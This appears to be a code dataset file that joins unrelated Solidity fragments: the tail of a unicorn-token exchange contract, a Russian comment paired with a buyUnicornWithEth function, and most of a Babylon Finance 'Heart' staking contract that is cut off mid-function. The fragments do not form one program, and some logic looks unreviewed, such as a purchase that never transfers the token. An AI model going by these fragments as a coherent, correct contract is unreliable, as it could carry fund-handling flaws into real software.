the token to receive * @param amountGet uint amount of tokens being received * @param tokenGive Ethereum contract address of the token to give * @param amountGive uint amount of tokens being given * @param expires uint of block number when this order should expire * @param nonce arbitrary random number * @param user Ethereum address of the user who placed the order * @param v part of signature for the order hash as signed by user * @param r part of signature for the order hash as signed by user * @param s part of signature for the order hash as signed by user * @param amount uint amount in terms of tokenGet that will be "buy" in the trade */ function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external { bytes32 hash = sha256(balances, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); require( ecrecover(keccak256(keccak256("bytes32 Order hash"), keccak256(hash)), v, r, s) == user && block.number <= expires && orderFills[user][hash].add(amount) <= amountGet ); uint amount2 = tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = orderFills[user][hash].add(amount); emit Trade(hash, tokenGet, amount, tokenGive, amount2, user, msg.sender); } /** * This is a private function and is only being called from trade(). * Handles the movement of funds when a trade occurs. * Takes fees. * Updates token balances for both buyer and seller. * Note: tokenGet & tokenGive can be the Ethereum contract address. * Note: amount is in amountGet / tokenGet terms. * @param tokenGet Ethereum contract address of the token to receive * @param amountGet uint amount of tokens being received * @param tokenGive Ethereum contract address of the token to give * @param amountGive uint amount of tokens being given * @param user Ethereum address of the user who placed the order * @param amount uint amount in terms of tokenGet that will be "buy" in the trade */ function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private returns(uint amount2){ uint _fee = 0; if (!tokensWithoutFee[tokenGet]) { _fee = amount.mul(feeTake).div(1 ether); } if (balances.trustedTokens(tokenGet)) { TrustedTokenInterface t = TrustedTokenInterface(tokenGet); require(t.transferFromSystem(msg.sender, user, amount)); require(t.transferFromSystem(msg.sender, this, _fee)); } else { require( balances.transferWithFee(tokenGet, msg.sender, amount, balances, user, amount.sub(_fee)) ); // balances.tokenMinus(tokenGet, msg.sender, amount); // balances.tokenPlus(tokenGet, user, amount.sub(_fee)); // balances.tokenPlus(tokenGet, this, _fee); } amount2 = amountGive.mul(amount).div(amountGet); if (balances.trustedTokens(tokenGive)) { require(TrustedTokenInterface(tokenGive).transferFromSystem(user, msg.sender, amount2)); } else { require(balances.transfer(tokenGive, user, msg.sender, amount2)); } } } contract UnicornContract is UnicornCoinMarket { event FundsTransferred(address dividendManager, uint value); function() public payable { } function UnicornContract(address _breedingDB, address _balances, address _unicornManagementAddress) UnicornAccessControl(_unicornManagementAddress) public { candyTokenAddress = unicornManagement.candyToken(); breedingDB = BreedingDataBaseInterface(_breedingDB); balances = UnicornBalancesInterface(_balances); } function init() onlyManagement whenPaused external { unicornToken = UnicornTokenInterface(unicornManagement.unicornTokenAddress()); blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress()); megaCandyToken = TrustedTokenInterface(unicornManagement.candyPowerToken()); } function transferTokensToDividendManager(address _token) onlyManager public { require(ERC20(_token).balanceOf(this) > 0); ERC20(_token).transfer(unicornManagement.walletAddress(), ERC20(_token).balanceOf(this)); } function transferEthersToDividendManager(uint _value) onlyManager public { require(address(this).balance >= _value); DividendManagerInterface dividendManager = DividendManagerInterface(unicornManagement.dividendManagerAddress()); dividendManager.payDividend.value(_value)(); emit FundsTransferred(unicornManagement.dividendManagerAddress(), _value); } }
Выставлять на продажу за 0 можно. Но нужно проверить чтобы и вторая цена также была 0
function buyUnicornWithEth(uint _unicornId) whenNotPaused public payable { require(breedingDB.offerExists(_unicornId)); uint price = breedingDB.offerPriceEth(_unicornId); if (price == 0) { require(breedingDB.offerPriceCandy(_unicornId) == 0); } require(msg.value == getOfferPriceEth(_unicornId)); address owner = unicornToken.ownerOf(_unicornId); emit UnicornSold(_unicornId, price, 0); owner.transfer(price); }
7,222,326
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma abicoder v2; import {OwnableUpgradeable} from '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {SafeERC20} from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import {ECDSA} from '@openzeppelin/contracts/cryptography/ECDSA.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol'; import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol'; import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import {IHypervisor} from './interfaces/IHypervisor.sol'; import {IBabController} from './interfaces/IBabController.sol'; import {IGovernor} from './interfaces/external/oz/IGovernor.sol'; import {IGarden} from './interfaces/IGarden.sol'; import {IHeart} from './interfaces/IHeart.sol'; import {IWETH} from './interfaces/external/weth/IWETH.sol'; import {ICToken} from './interfaces/external/compound/ICToken.sol'; import {ICEther} from './interfaces/external/compound/ICEther.sol'; import {IComptroller} from './interfaces/external/compound/IComptroller.sol'; import {IPriceOracle} from './interfaces/IPriceOracle.sol'; import {IMasterSwapper} from './interfaces/IMasterSwapper.sol'; import {IVoteToken} from './interfaces/IVoteToken.sol'; import {IERC1271} from './interfaces/IERC1271.sol'; import {PreciseUnitMath} from './lib/PreciseUnitMath.sol'; import {SafeDecimalMath} from './lib/SafeDecimalMath.sol'; import {LowGasSafeMath as SafeMath} from './lib/LowGasSafeMath.sol'; import {Errors, _require, _revert} from './lib/BabylonErrors.sol'; import {ControllerLib} from './lib/ControllerLib.sol'; /** * @title Heart * @author Babylon Finance * * Contract that assists The Heart of Babylon garden with BABL staking. * */ contract Heart is OwnableUpgradeable, IHeart, IERC1271 { using SafeERC20 for IERC20; using PreciseUnitMath for uint256; using SafeMath for uint256; using SafeDecimalMath for uint256; using ControllerLib for IBabController; /* ============ Modifiers ============ */ /** * Throws if the sender is not a keeper in the protocol */ function _onlyKeeper() private view { _require(controller.isValidKeeper(msg.sender), Errors.ONLY_KEEPER); } /* ============ Events ============ */ event FeesCollected(uint256 _timestamp, uint256 _amount); event LiquidityAdded(uint256 _timestamp, uint256 _wethBalance, uint256 _bablBalance); event BablBuyback(uint256 _timestamp, uint256 _wethSpent, uint256 _bablBought); event GardenSeedInvest(uint256 _timestamp, address indexed _garden, uint256 _wethInvested); event FuseLentAsset(uint256 _timestamp, address indexed _asset, uint256 _assetAmount); event BABLRewardSent(uint256 _timestamp, uint256 _bablSent); event ProposalVote(uint256 _timestamp, uint256 _proposalId, bool _isApprove); event UpdatedGardenWeights(uint256 _timestamp); /* ============ Constants ============ */ // Only for offline use by keeper/fauna bytes32 private constant VOTE_PROPOSAL_TYPEHASH = keccak256('ProposalVote(uint256 _proposalId,uint256 _amount,bool _isApprove)'); bytes32 private constant VOTE_GARDEN_TYPEHASH = keccak256('GardenVote(address _garden,uint256 _amount)'); // Visor IHypervisor private constant visor = IHypervisor(0xF19F91d7889668A533F14d076aDc187be781a458); // Address of Uniswap factory IUniswapV3Factory internal constant factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); uint24 private constant FEE_LOW = 500; uint24 private constant FEE_MEDIUM = 3000; uint24 private constant FEE_HIGH = 10000; uint256 private constant DEFAULT_TRADE_SLIPPAGE = 25e15; // 2.5% // Tokens IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 private constant BABL = IERC20(0xF4Dc48D260C93ad6a96c5Ce563E70CA578987c74); IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); IERC20 private constant FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e); IERC20 private constant FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA); // Fuse address private constant BABYLON_FUSE_POOL_ADDRESS = 0xC7125E3A2925877C7371d579D29dAe4729Ac9033; // Value Amount for protect purchases in DAI uint256 private constant PROTECT_BUY_AMOUNT_DAI = 2e21; /* ============ Immutables ============ */ IBabController private immutable controller; IGovernor private immutable governor; address private immutable treasury; /* ============ State Variables ============ */ // Instance of the Controller contract // Heart garden address IGarden public override heartGarden; // Variables to handle garden seed investments address[] public override votedGardens; uint256[] public override gardenWeights; // Min Amounts to trade mapping(address => uint256) public override minAmounts; // Fuse pool Variables // Mapping of asset addresses to cToken addresses in the fuse pool mapping(address => address) public override assetToCToken; // Which asset is going to receive the next batch of liquidity in fuse address public override assetToLend; // Timestamp when the heart was last pumped uint256 public override lastPumpAt; // Timestamp when the votes were sent by the keeper last uint256 public override lastVotesAt; // Amount to gift to the Heart of Babylon Garden weekly uint256 public override weeklyRewardAmount; uint256 public override bablRewardLeft; // Array with the weights to distribute to different heart activities // 0: Treasury // 1: Buybacks // 2: Liquidity BABL-ETH // 3: Garden Seed Investments // 4: Fuse Pool uint256[] public override feeDistributionWeights; // Metric Totals // 0: fees accumulated in weth // 1: Money sent to treasury // 2: babl bought in babl // 3: liquidity added in weth // 4: amount invested in gardens in weth // 5: amount lent on fuse in weth // 6: weekly rewards paid in babl uint256[7] public override totalStats; // Trade slippage to apply in trades uint256 public override tradeSlippage; // Asset to use to buy protocol wanted assets address public override assetForPurchases; // Bond Assets with the discount mapping(address => uint256) public override bondAssets; // EIP-1271 signer address private signer; uint256 private constant MIN_PUMP_WETH = 15e17; // 1.5 ETH /* ============ Initializer ============ */ /** * Set controller and governor addresses * * @param _controller Address of controller contract * @param _governor Address of governor contract */ constructor(IBabController _controller, IGovernor _governor) initializer { _require(address(_controller) != address(0), Errors.ADDRESS_IS_ZERO); _require(address(_governor) != address(0), Errors.ADDRESS_IS_ZERO); controller = _controller; treasury = _controller.treasury(); governor = _governor; } /** * Set state variables and map asset pairs to their oracles * * @param _feeWeights Weights of the fee distribution */ function initialize(uint256[] calldata _feeWeights) external initializer { OwnableUpgradeable.__Ownable_init(); updateFeeWeights(_feeWeights); updateMarkets(); updateAssetToLend(address(DAI)); minAmounts[address(DAI)] = 500e18; minAmounts[address(USDC)] = 500e6; minAmounts[address(WETH)] = 5e17; minAmounts[address(WBTC)] = 3e6; // Self-delegation to be able to use BABL balance as voting power IVoteToken(address(BABL)).delegate(address(this)); tradeSlippage = DEFAULT_TRADE_SLIPPAGE; } /* ============ External Functions ============ */ /** * Function to pump blood to the heart * * Note: Anyone can call this. Keeper in Defender will be set up to do it for convenience. */ function pump() public override { _require(address(heartGarden) != address(0), Errors.HEART_GARDEN_NOT_SET); _require(block.timestamp.sub(lastPumpAt) >= 1 weeks, Errors.HEART_ALREADY_PUMPED); _require(block.timestamp.sub(lastVotesAt) < 1 weeks, Errors.HEART_VOTES_MISSING); // Consolidate all fees _consolidateFeesToWeth(); uint256 wethBalance = WETH.balanceOf(address(this)); // Use fei to pump if needed if (wethBalance < MIN_PUMP_WETH) { uint256 feiPriceInWeth = IPriceOracle(controller.priceOracle()).getPrice(address(FEI), address(WETH)); uint256 feiNeeded = MIN_PUMP_WETH.sub(wethBalance).preciseMul(feiPriceInWeth).preciseMul(105e16); // a bit more just in case if (FEI.balanceOf(address(this)) >= feiNeeded) { _trade(address(FEI), address(WETH), feiNeeded); } } _require(wethBalance >= 15e17, Errors.HEART_MINIMUM_FEES); // Send 10% to the treasury IERC20(WETH).safeTransferFrom(address(this), treasury, wethBalance.preciseMul(feeDistributionWeights[0])); totalStats[1] = totalStats[1].add(wethBalance.preciseMul(feeDistributionWeights[0])); // 30% for buybacks _buyback(wethBalance.preciseMul(feeDistributionWeights[1])); // 25% to BABL-ETH pair _addLiquidity(wethBalance.preciseMul(feeDistributionWeights[2])); // 15% to Garden Investments _investInGardens(wethBalance.preciseMul(feeDistributionWeights[3])); // 20% lend in fuse pool _lendFusePool(address(WETH), wethBalance.preciseMul(feeDistributionWeights[4]), address(assetToLend)); // Add BABL reward to stakers (if any) _sendWeeklyReward(); lastPumpAt = block.timestamp; } /** * Function to vote for a proposal * * Note: Only keeper can call this. Votes need to have been resolved offchain. * Warning: Gardens need to delegate to heart first. */ function voteProposal(uint256 _proposalId, bool _isApprove) external override { _onlyKeeper(); // Governor does revert if trying to cast a vote twice or if proposal is not active IGovernor(governor).castVote(_proposalId, _isApprove ? 1 : 0); emit ProposalVote(block.timestamp, _proposalId, _isApprove); } /** * Resolves garden votes for this cycle * * Note: Only keeper can call this * @param _gardens Gardens that are going to receive investment * @param _weights Weight for the investment in each garden normalied to 1e18 precision */ function resolveGardenVotes(address[] memory _gardens, uint256[] memory _weights) public override { _onlyKeeper(); _require(_gardens.length == _weights.length, Errors.HEART_VOTES_LENGTH); delete votedGardens; delete gardenWeights; for (uint256 i = 0; i < _gardens.length; i++) { votedGardens.push(_gardens[i]); gardenWeights.push(_weights[i]); } lastVotesAt = block.timestamp; emit UpdatedGardenWeights(block.timestamp); } function resolveGardenVotesAndPump(address[] memory _gardens, uint256[] memory _weights) external override { resolveGardenVotes(_gardens, _weights); pump(); } /** * Updates fuse pool market information and enters the markets * */ function updateMarkets() public override { controller.onlyGovernanceOrEmergency(); // Enter markets of the fuse pool for all these assets address[] memory markets = IComptroller(BABYLON_FUSE_POOL_ADDRESS).getAllMarkets(); for (uint256 i = 0; i < markets.length; i++) { address underlying = ICToken(markets[i]).underlying(); assetToCToken[underlying] = markets[i]; } IComptroller(BABYLON_FUSE_POOL_ADDRESS).enterMarkets(markets); } /** * Set the weights to allocate to different heart initiatives * * @param _feeWeights Array of % (up to 1e18) with the fee weights */ function updateFeeWeights(uint256[] calldata _feeWeights) public override { controller.onlyGovernanceOrEmergency(); delete feeDistributionWeights; for (uint256 i = 0; i < _feeWeights.length; i++) { feeDistributionWeights.push(_feeWeights[i]); } } /** * Updates the next asset to lend on fuse pool * * @param _assetToLend New asset to lend */ function updateAssetToLend(address _assetToLend) public override { controller.onlyGovernanceOrEmergency(); _require(assetToLend != _assetToLend, Errors.HEART_ASSET_LEND_SAME); _require(assetToCToken[_assetToLend] != address(0), Errors.HEART_ASSET_LEND_INVALID); assetToLend = _assetToLend; } /** * Updates the next asset to purchase assets from strategies at a premium * * @param _purchaseAsset New asset to purchase */ function updateAssetToPurchase(address _purchaseAsset) public override { controller.onlyGovernanceOrEmergency(); _require( _purchaseAsset != assetForPurchases && _purchaseAsset != address(0), Errors.HEART_ASSET_PURCHASE_INVALID ); assetForPurchases = _purchaseAsset; } /** * Updates the next asset to purchase assets from strategies at a premium * * @param _assetToBond Bond to update * @param _bondDiscount Bond discount to apply 1e18 */ function updateBond(address _assetToBond, uint256 _bondDiscount) public override { controller.onlyGovernanceOrEmergency(); bondAssets[_assetToBond] = _bondDiscount; } /** * Adds a BABL reward to be distributed weekly back to the heart garden * * @param _bablAmount Total amount to distribute * @param _weeklyRate Weekly amount to distribute */ function addReward(uint256 _bablAmount, uint256 _weeklyRate) external override { controller.onlyGovernanceOrEmergency(); // Get the BABL reward IERC20(BABL).safeTransferFrom(msg.sender, address(this), _bablAmount); bablRewardLeft = bablRewardLeft.add(_bablAmount); weeklyRewardAmount = _weeklyRate; } /** * Updates the min amount to trade a specific asset * * @param _asset Asset to edit the min amount * @param _minAmountOut New min amount */ function setMinTradeAmount(address _asset, uint256 _minAmountOut) external override { controller.onlyGovernanceOrEmergency(); minAmounts[_asset] = _minAmountOut; } /** * Updates the heart garden address * * @param _heartGarden New heart garden address */ function setHeartGardenAddress(address _heartGarden) external override { controller.onlyGovernanceOrEmergency(); heartGarden = IGarden(_heartGarden); } /** * Updates the tradeSlippage * * @param _tradeSlippage Trade slippage */ function setTradeSlippage(uint256 _tradeSlippage) external override { controller.onlyGovernanceOrEmergency(); tradeSlippage = _tradeSlippage; } /** * Tell the heart to lend an asset on Fuse * * @param _assetToLend Address of the asset to lend * @param _lendAmount Amount of the asset to lend */ function lendFusePool(address _assetToLend, uint256 _lendAmount) external override { controller.onlyGovernanceOrEmergency(); // Lend into fuse _lendFusePool(_assetToLend, _lendAmount, _assetToLend); } /** * Heart borrows using its liquidity * Note: Heart must have enough liquidity * * @param _assetToBorrow Asset that the heart is receiving from sender * @param _borrowAmount Amount of asset to transfet */ function borrowFusePool(address _assetToBorrow, uint256 _borrowAmount) external override { controller.onlyGovernanceOrEmergency(); address cToken = assetToCToken[_assetToBorrow]; _require(cToken != address(0), Errors.HEART_INVALID_CTOKEN); _require(ICToken(cToken).borrow(_borrowAmount) == 0, Errors.NOT_ENOUGH_COLLATERAL); } /** * Repays Heart fuse pool position * Note: We must have the asset in the heart * * @param _borrowedAsset Borrowed asset that we want to pay * @param _amountToRepay Amount of asset to transfer */ function repayFusePool(address _borrowedAsset, uint256 _amountToRepay) external override { controller.onlyGovernanceOrEmergency(); address cToken = assetToCToken[_borrowedAsset]; IERC20(_borrowedAsset).safeApprove(cToken, _amountToRepay); _require(ICToken(cToken).repayBorrow(_amountToRepay) == 0, Errors.AMOUNT_TOO_LOW); } /** * Trades one asset for another in the heart * Note: We must have the _fromAsset _fromAmount available. * @param _fromAsset Asset to exchange * @param _toAsset Asset to receive * @param _fromAmount Amount of asset to exchange * @param _minAmountOut Min amount of received asset */ function trade( address _fromAsset, address _toAsset, uint256 _fromAmount, uint256 _minAmountOut ) external override { controller.onlyGovernanceOrEmergency(); _require(IERC20(_fromAsset).balanceOf(address(this)) >= _fromAmount, Errors.AMOUNT_TOO_LOW); uint256 boughtAmount = _trade(_fromAsset, _toAsset, _fromAmount); _require(boughtAmount >= _minAmountOut, Errors.SLIPPAGE_TOO_HIH); } /** * Strategies can sell wanted assets by the protocol to the heart. * Heart will buy them using borrowings in stables. * Heart returns WETH so master swapper will take it from there. * Note: Strategy needs to have approved the heart. * * @param _assetToSell Asset that the heart is receiving from strategy to sell * @param _amountToSell Amount of asset to sell */ function sellWantedAssetToHeart(address _assetToSell, uint256 _amountToSell) external override { _require(controller.isSystemContract(msg.sender), Errors.NOT_A_SYSTEM_CONTRACT); _require(controller.protocolWantedAssets(_assetToSell), Errors.HEART_ASSET_PURCHASE_INVALID); _require(assetForPurchases != address(0), Errors.INVALID_ADDRESS); // Uses on chain oracle to fetch prices uint256 pricePerTokenUnit = IPriceOracle(controller.priceOracle()).getPrice(_assetToSell, assetForPurchases); _require(pricePerTokenUnit != 0, Errors.NO_PRICE_FOR_TRADE); uint256 amountInPurchaseAssetOffered = pricePerTokenUnit.preciseMul(_amountToSell); _require( IERC20(assetForPurchases).balanceOf(address(this)) >= amountInPurchaseAssetOffered, Errors.BALANCE_TOO_LOW ); IERC20(_assetToSell).safeTransferFrom(msg.sender, address(this), _amountToSell); // Buy it from the strategy plus 1% premium uint256 wethTraded = _trade(assetForPurchases, address(WETH), amountInPurchaseAssetOffered.preciseMul(101e16)); // Send weth back to the strategy IERC20(WETH).safeTransfer(msg.sender, wethTraded); } /** * Users can bond an asset that belongs to the program and receive a discount on hBABL. * Note: Heart needs to have enough BABL to satisfy the discount. * Note: User needs to approve the asset to bond first. * * @param _assetToBond Asset that the user wants to bond * @param _amountToBond Amount to be bonded * @param _minAmountOut Min amount of Heart garden shares to recieve */ function bondAsset( address _assetToBond, uint256 _amountToBond, uint256 _minAmountOut, address _referrer ) external override { _require(bondAssets[_assetToBond] > 0 && _amountToBond > 0, Errors.AMOUNT_TOO_LOW); // Total value adding the premium uint256 bondValueInBABL = _bondToBABL( _assetToBond, _amountToBond, IPriceOracle(controller.priceOracle()).getPrice(_assetToBond, address(BABL)) ); // Get asset to bond from sender IERC20(_assetToBond).safeTransferFrom(msg.sender, address(this), _amountToBond); // Deposit on behalf of the user _require(BABL.balanceOf(address(this)) >= bondValueInBABL, Errors.AMOUNT_TOO_LOW); BABL.safeApprove(address(heartGarden), bondValueInBABL); heartGarden.deposit(bondValueInBABL, _minAmountOut, msg.sender, _referrer); } /** * Users can bond an asset that belongs to the program and receive a discount on hBABL. * Note: Heart needs to have enough BABL to satisfy the discount. * Note: User needs to approve the asset to bond first. * * @param _assetToBond Asset that the user wants to bond * @param _amountToBond Amount to be bonded */ function bondAssetBySig( address _assetToBond, uint256 _amountToBond, uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, uint256 _priceInBABL, uint256 _pricePerShare, uint256 _fee, address _contributor, address _referrer, bytes memory _signature ) external override { _onlyKeeper(); _require(_fee <= _maxFee, Errors.FEE_TOO_HIGH); _require(bondAssets[_assetToBond] > 0 && _amountToBond > 0, Errors.AMOUNT_TOO_LOW); // Get asset to bond from contributor IERC20(_assetToBond).safeTransferFrom(_contributor, address(this), _amountToBond); // Deposit on behalf of the user _require(BABL.balanceOf(address(this)) >= _amountIn, Errors.AMOUNT_TOO_LOW); // verify that _amountIn is correct compare to _amountToBond uint256 val = _bondToBABL(_assetToBond, _amountToBond, _priceInBABL); uint256 diff = val > _amountIn ? val.sub(_amountIn) : _amountIn.sub(val); // allow 0.1% deviation _require(diff < _amountIn.div(1000), Errors.INVALID_AMOUNT); BABL.safeApprove(address(heartGarden), _amountIn); // Pay the fee to the Keeper IERC20(BABL).safeTransfer(msg.sender, _fee); // grant permission to deposit signer = _contributor; heartGarden.depositBySig( _amountIn, _minAmountOut, _nonce, _maxFee, _contributor, _pricePerShare, 0, address(this), _referrer, _signature ); // revoke permission to deposit signer = address(0); } /** * Heart will protect and buyback BABL whenever the price dips below the intended price protection. * Note: Asset for purchases needs to be setup and have enough balance. * * @param _bablPriceProtectionAt BABL Price in DAI to protect * @param _bablPrice Market price of BABL in DAI * @param _purchaseAssetPrice Price of purchase asset in DAI * @param _slippage Trade slippage on UinV3 to control amount of arb * @param _hopToken Hop token to use for UniV3 trade */ function protectBABL( uint256 _bablPriceProtectionAt, uint256 _bablPrice, uint256 _purchaseAssetPrice, uint256 _slippage, address _hopToken ) external override { _onlyKeeper(); _require(assetForPurchases != address(0), Errors.HEART_ASSET_PURCHASE_INVALID); _require(_bablPriceProtectionAt > 0 && _bablPrice <= _bablPriceProtectionAt, Errors.AMOUNT_TOO_HIGH); _require( SafeDecimalMath.normalizeAmountTokens( assetForPurchases, address(DAI), _purchaseAssetPrice.preciseMul(IERC20(assetForPurchases).balanceOf(address(this))) ) >= PROTECT_BUY_AMOUNT_DAI, Errors.NOT_ENOUGH_AMOUNT ); uint256 exactAmount = PROTECT_BUY_AMOUNT_DAI.preciseDiv(_bablPrice); uint256 minAmountOut = exactAmount.sub(exactAmount.preciseMul(_slippage == 0 ? tradeSlippage : _slippage)); uint256 bablBought = _trade( assetForPurchases, address(BABL), SafeDecimalMath.normalizeAmountTokens( address(DAI), assetForPurchases, PROTECT_BUY_AMOUNT_DAI.preciseDiv(_purchaseAssetPrice) ), minAmountOut, _hopToken != address(0) ? _hopToken : address(WETH) ); totalStats[2] = totalStats[2].add(bablBought); emit BablBuyback(block.timestamp, PROTECT_BUY_AMOUNT_DAI, bablBought); } // solhint-disable-next-line receive() external payable {} /* ============ External View Functions ============ */ /** * Getter to get the whole array of voted gardens * * @return The array of voted gardens */ function getVotedGardens() external view override returns (address[] memory) { return votedGardens; } /** * Getter to get the whole array of garden weights * * @return The array of weights for voted gardens */ function getGardenWeights() external view override returns (uint256[] memory) { return gardenWeights; } /** * Getter to get the whole array of fee weights * * @return The array of weights for the fees */ function getFeeDistributionWeights() external view override returns (uint256[] memory) { return feeDistributionWeights; } /** * Getter to get the whole array of total stats * * @return The array of stats for the fees */ function getTotalStats() external view override returns (uint256[7] memory) { return totalStats; } /** * Implements EIP-1271 */ function isValidSignature(bytes32 _hash, bytes memory _signature) public view override returns (bytes4 magicValue) { address recovered = ECDSA.recover(_hash, _signature); return recovered == signer && recovered != address(0) ? this.isValidSignature.selector : bytes4(0); } /* ============ Internal Functions ============ */ function _bondToBABL( address _assetToBond, uint256 _amountToBond, uint256 _priceInBABL ) private view returns (uint256) { return SafeDecimalMath.normalizeAmountTokens(_assetToBond, address(BABL), _amountToBond).preciseMul( _priceInBABL.preciseMul(uint256(1e18).add(bondAssets[_assetToBond])) ); } /** * Consolidates all reserve asset fees to weth * */ function _consolidateFeesToWeth() private { address[] memory reserveAssets = controller.getReserveAssets(); for (uint256 i = 0; i < reserveAssets.length; i++) { address reserveAsset = reserveAssets[i]; uint256 balance = IERC20(reserveAsset).balanceOf(address(this)); // Trade if it's above a min amount (otherwise wait until next pump) if (reserveAsset != address(BABL) && reserveAsset != address(WETH) && balance > minAmounts[reserveAsset]) { totalStats[0] = totalStats[0].add(_trade(reserveAsset, address(WETH), balance)); } if (reserveAsset == address(WETH)) { totalStats[0] = totalStats[0].add(balance); } } emit FeesCollected(block.timestamp, IERC20(WETH).balanceOf(address(this))); } /** * Buys back BABL through the uniswap V3 BABL-ETH pool * */ function _buyback(uint256 _amount) private { // Gift 50% BABL back to garden and send 50% to the treasury uint256 bablBought = _trade(address(WETH), address(BABL), _amount); // 50% IERC20(BABL).safeTransfer(address(heartGarden), bablBought.div(2)); IERC20(BABL).safeTransfer(treasury, bablBought.div(2)); totalStats[2] = totalStats[2].add(bablBought); emit BablBuyback(block.timestamp, _amount, bablBought); } /** * Adds liquidity to the BABL-ETH pair through the hypervisor * * Note: Address of the heart needs to be whitelisted by Visor. */ function _addLiquidity(uint256 _wethBalance) private { // Buy BABL again with half to add 50/50 uint256 wethToDeposit = _wethBalance.preciseMul(5e17); uint256 bablTraded = _trade(address(WETH), address(BABL), wethToDeposit); // 50% BABL.safeApprove(address(visor), bablTraded); IERC20(WETH).safeApprove(address(visor), wethToDeposit); uint256 oldTreasuryBalance = visor.balanceOf(treasury); uint256 shares = visor.deposit(wethToDeposit, bablTraded, treasury); _require( shares == visor.balanceOf(treasury).sub(oldTreasuryBalance) && visor.balanceOf(treasury) > 0, Errors.HEART_LP_TOKENS ); totalStats[3] += _wethBalance; emit LiquidityAdded(block.timestamp, wethToDeposit, bablTraded); } /** * Invests in gardens using WETH converting it to garden reserve asset first * * @param _wethAmount Total amount of weth to invest in all gardens */ function _investInGardens(uint256 _wethAmount) private { for (uint256 i = 0; i < votedGardens.length; i++) { address reserveAsset = IGarden(votedGardens[i]).reserveAsset(); uint256 amountTraded; if (reserveAsset != address(WETH)) { amountTraded = _trade(address(WETH), reserveAsset, _wethAmount.preciseMul(gardenWeights[i])); } else { amountTraded = _wethAmount.preciseMul(gardenWeights[i]); } // Gift it to garden IERC20(reserveAsset).safeTransfer(votedGardens[i], amountTraded); emit GardenSeedInvest(block.timestamp, votedGardens[i], _wethAmount.preciseMul(gardenWeights[i])); } totalStats[4] += _wethAmount; } /** * Lends an amount of WETH converting it first to the pool asset that is the lowest (except BABL) * * @param _fromAsset Which asset to convert * @param _fromAmount Total amount of weth to lend * @param _lendAsset Address of the asset to lend */ function _lendFusePool( address _fromAsset, uint256 _fromAmount, address _lendAsset ) private { address cToken = assetToCToken[_lendAsset]; _require(cToken != address(0), Errors.HEART_INVALID_CTOKEN); uint256 assetToLendBalance = _fromAmount; // Trade to asset to lend if needed if (_fromAsset != _lendAsset) { assetToLendBalance = _trade( address(_fromAsset), _lendAsset == address(0) ? address(WETH) : _lendAsset, _fromAmount ); } if (_lendAsset == address(0)) { // Convert WETH to ETH IWETH(WETH).withdraw(_fromAmount); ICEther(cToken).mint{value: _fromAmount}(); } else { IERC20(_lendAsset).safeApprove(cToken, assetToLendBalance); ICToken(cToken).mint(assetToLendBalance); } uint256 assetToLendWethPrice = IPriceOracle(controller.priceOracle()).getPrice(_lendAsset, address(WETH)); uint256 assettoLendBalanceInWeth = assetToLendBalance.preciseMul(assetToLendWethPrice); totalStats[5] = totalStats[5].add(assettoLendBalanceInWeth); emit FuseLentAsset(block.timestamp, _lendAsset, assettoLendBalanceInWeth); } /** * Sends the weekly BABL reward to the garden (if any) */ function _sendWeeklyReward() private { if (bablRewardLeft > 0) { uint256 bablToSend = bablRewardLeft < weeklyRewardAmount ? bablRewardLeft : weeklyRewardAmount; uint256 currentBalance = IERC20(BABL).balanceOf(address(this)); bablToSend = currentBalance < bablToSend ? currentBalance : bablToSend; IERC20(BABL).safeTransfer(address(heartGarden), bablToSend); bablRewardLeft = bablRewardLeft.sub(bablToSend); emit BABLRewardSent(block.timestamp, bablToSend); totalStats[6] = totalStats[6].add(bablToSend); } } /** * Trades _tokenIn to _tokenOut using Uniswap V3 * * @param _tokenIn Token that is sold * @param _tokenOut Token that is purchased * @param _amount Amount of tokenin to sell */ function _trade( address _tokenIn, address _tokenOut, uint256 _amount ) private returns (uint256) { if (_tokenIn == _tokenOut) { return _amount; } // Uses on chain oracle for all internal strategy operations to avoid attacks uint256 pricePerTokenUnit = IPriceOracle(controller.priceOracle()).getPrice(_tokenIn, _tokenOut); _require(pricePerTokenUnit != 0, Errors.NO_PRICE_FOR_TRADE); // minAmount must have receive token decimals uint256 exactAmount = SafeDecimalMath.normalizeAmountTokens(_tokenIn, _tokenOut, _amount.preciseMul(pricePerTokenUnit)); uint256 minAmountOut = exactAmount.sub(exactAmount.preciseMul(tradeSlippage)); return _trade(_tokenIn, _tokenOut, _amount, minAmountOut, address(0)); } /** * Trades _tokenIn to _tokenOut using Uniswap V3 * * @param _tokenIn Token that is sold * @param _tokenOut Token that is purchased * @param _amount Amount of tokenin to sell * @param _minAmountOut Min amount of tokens out to recive * @param _hopToken Hop token to use for UniV3 trade */ function _trade( address _tokenIn, address _tokenOut, uint256 _amount, uint256 _minAmountOut, address _hopToken ) private returns (uint256) { ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); // Approve the router to spend token in. TransferHelper.safeApprove(_tokenIn, address(swapRouter), _amount); bytes memory path; if ( (_tokenIn 